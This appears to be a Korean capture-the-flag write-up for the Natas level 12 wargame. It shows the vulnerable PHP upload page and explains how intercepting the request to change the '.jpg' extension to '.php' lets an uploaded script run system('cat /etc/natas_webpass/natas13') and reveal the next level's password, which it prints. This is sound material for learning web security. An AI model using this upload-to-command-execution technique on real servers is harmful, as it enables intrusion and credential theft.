<?  


function genRandomString() { 

    $length = 10; 

    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 

    $string = "";     


    for ($p = 0; $p < $length; $p++) { 

        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 

    } 


    return $string; 


function makeRandomPath($dir, $ext) { 

    do { 

    $path = $dir."/".genRandomString().".".$ext; 

    } while(file_exists($path)); 

    return $path; 


function makeRandomPathFromFilename($dir, $fn) { 

    $ext = pathinfo($fn, PATHINFO_EXTENSION); 

    return makeRandomPath($dir, $ext); 


if(array_key_exists("filename", $_POST)) { 

    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 



        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 

        echo "File is too big"; 

    } else { 

        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 

            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 

        } else{ 

            echo "There was an error uploading the file, please try again!"; 

        } 

    } 

} else { 

?> 



<form enctype="multipart/form-data" action="index.php" method="POST"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 

Choose a JPEG to upload (max 1KB):<br/> 

<input name="uploadedfile" type="file" /><br /> 

<input type="submit" value="Upload File" /> 

</form> 

<? } ?> 


소스를 분석해보면 모든 파일이 이름도 무작위로 바뀌고 확장자도 jpg로 바뀌는걸 확인 할 수 있었다

그래서 프록시를 통해 jpg를 php 파일로 바꿔주고 업로드 한다 



php  파일은 비밀번호가 바로 출력되게 하였다


<?php


system("cat /etc/natas_webpass/natas13");

?>


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

+ Recent posts